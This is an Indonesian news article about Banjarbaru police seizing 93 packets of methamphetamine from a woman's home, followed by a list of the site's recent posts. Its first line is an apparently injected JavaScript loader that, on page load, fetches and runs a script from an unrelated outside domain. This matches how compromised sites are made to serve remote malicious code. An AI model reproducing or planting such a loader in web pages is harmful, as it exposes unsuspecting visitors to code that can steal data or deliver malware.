(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

93 Paket Sabu Gagal Edar, Disimpan Seorang Wanita


BANJARBARU, Satuan Reserse Narkoba Polres Banjarbaru berhasil menggagalkan peredaran 93 paket sabu setelah menggeledah rumah seorang wanita di Desa Sungai Rangas Ulu, Kecamatan Martapura Barat, Kabupaten Banjar.

Kasat Narkoba AKP Elche SH SIK mengatakan, pihaknya sebelumnya mendapatkan informasi dari masyarakat bahwa ada dua orang laki-laki yang sedang membawa narkotika. Kemudian petugas berhasil mengamankan kedua pria tersebut yang diketahui bernaka Adi dan Lucky di jalan Trikora, kota Banjarbaru.

“Dari tangan mereka petugas berhasil mengamankan 1 buah pipet kaca yang didalamnya masih terdapat sisa sabu dan 1 paket sabu dengan berat 0,15 gram,” ujarnya kepada Kanalkalimantan.com, Senin (6/5/2019).

Tak sampai disitu saja, Sat Resnarkoba Polres Banjarbaru yang dipimpin AKP Elche melakukan pengembangan kasus lewat informasi yang diberikan kedua tersangka. Petugas pun bergegas menuju ke Desa Sungai Rangas Ulu, Kecamatan Martapura Barat, Kabupaten Banjar yang diduga sebagai tempat menyimpan barang haram siap edar.

Dari informasi yang didapat, pemilik rumah yang menjadi target sasaran adalah seorang wanita bernama Novia alia Pia. Saat dilakukannya penggerebekan oleh petugas turut disaksikan masyarakat sekitar.

Alhasil petugas menemukan 93 paket sabu siap edar ditemukan dalam sebuah dompet dan kotak permen dengan total berat 18,32 gram. Petugas juga menemukan satu buah bong dan pipet yang didalamnya masih terdapat sisa sabu-sabu dan satu buah timbangan warna abu-abu.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasubbaghumas Polres Banjarbaru AKP Siti Rohayati membenarkan adanya penangkapan tersebut yang mana saat ini semua tersangka beserta barang bukti diamankan di Polres Banjarbaru.

“Untuk pemilik 93 paket sabu-sabu yaitu Novia alias PIA akan dijerat dengan Pasal 114 ayat (1) sub Pasal 112 ayat (1) UU RI Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman hukuman pidana seumur hidup,” ucap AKP Siti Rohayati. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

1 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

14 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

16 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

17 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

18 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

2 hari ago

This website uses cookies.